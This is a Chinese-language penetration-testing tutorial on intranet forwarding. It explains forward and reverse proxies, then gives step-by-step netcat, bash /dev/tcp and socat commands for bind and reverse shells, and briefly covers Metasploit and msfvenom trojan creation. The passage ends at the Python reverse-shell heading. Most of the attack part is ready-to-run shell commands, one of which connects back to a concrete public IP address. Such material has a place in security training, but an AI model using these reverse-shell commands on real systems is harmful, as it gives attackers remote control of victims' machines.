转发目的
渗透测试中,我们往往会面对十分复杂的内网环境,比如最常见的防火墙,它会限制特定端口的数据包出入,此时就需要内网转发
转发情景
1.A可以访问B的80端口,但是不能访问B的3389端口。
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。
代理方式
正向代理:
正向代理是服务器开放端口,客户端主动访问服务器的端口
我们常说的代理就是指正向代理,正向代理的过程,它隐藏了真实的请求客户端,服务端不知道真实的客户端是谁,客户端请求的服务都被代理服务器代替来请求。
举个例子在国内用浏览器访问 www.google.com 时,因为防火墙的原因拒绝连接,这时候你可以在国外搭建一台代理服务器,让代理帮你去请求google.com,代理把请求返回的相应结构再返回给你。
反向代理:
反向代理是客户端开发端口,服务器连接客户端
反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去,比如说负载均衡。
内网转发形式
1.反弹shell:在攻击者机器,获取受害者机器的命令行
2.反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
3.反弹代理:将攻击者的流量转发到内网其他服务器上
反弹shell
1.工具nc使用
条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口(受害机输入)
nc -lvp 4444 -e cmd.exe (反弹windows shell)
nc -lvp 4444 -e /bin/bash (反弹linux shell)
此处以windows为例:
步骤二:攻击机连接被控服务器的4444端口(攻击机输入)
nc -vv 受害机ip 4444
1.2利用nc反弹shell
条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)
nc -lvp 4444
步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)
nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)
此处以windows为例:
2.工具msf使用
2.1 msfconsole
作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透。。。
模块介绍:
exploits:攻击脚本
payloads:攻击载荷(攻击效果控制)
auxiliaru:辅助模块(扫描工具等)
post:后渗透模块(提取信息)
encoders编码模块
nops:无操作生成器
2.2 msfvenom
作用:制作木马
2.3 msfencode
作用:对木马进行编码
2.4 msf使用:
3. 其他Linux反弹shell方法
方式:
利用系统自带的bash和gawk
利用脚本:python、perl、ruby、lua、php、jsp、aspx
利用第三方服务或工具:elnet、xterm、socat、nc
例:
3.1.1 nc发送shell
发送端(公网服务器):
nc -lvvp 6666 -e /bin/bash
接收端:
nc 发送端ip 发送端攻击者ip
3.1.2 nc反弹shell
接收端:
nc -lvvp 6666
发送端(内网网服务器):
nc 接收端ip 接收端端口 -e /bin/bash
3.2 bash反弹
接收端(hackip,公网):
nc -lvvp 端口
发送端(受害者):
bash -i >& /dev/tcp/111.230.170.95/9985 0>&1
或者发送端(受害者):
0<&31-;exec 31<>/dev/tcp/111.230.170.95/9985;sh <&31 >&31 2>&31
3.3.1 socat反弹(tcp)
接收端(攻击机):
./socat TCP-LISTEN:端口
发送端(靶机):
./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机ip:攻击机端口
3.3.2 socat反弹(udp)
接收端:
nc -lvvp 8080
发送端:
socat udp-connect:攻击者ip:端口 exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &
3.4 python反弹
接收端(攻击机,外网):
nc -lvvp 端口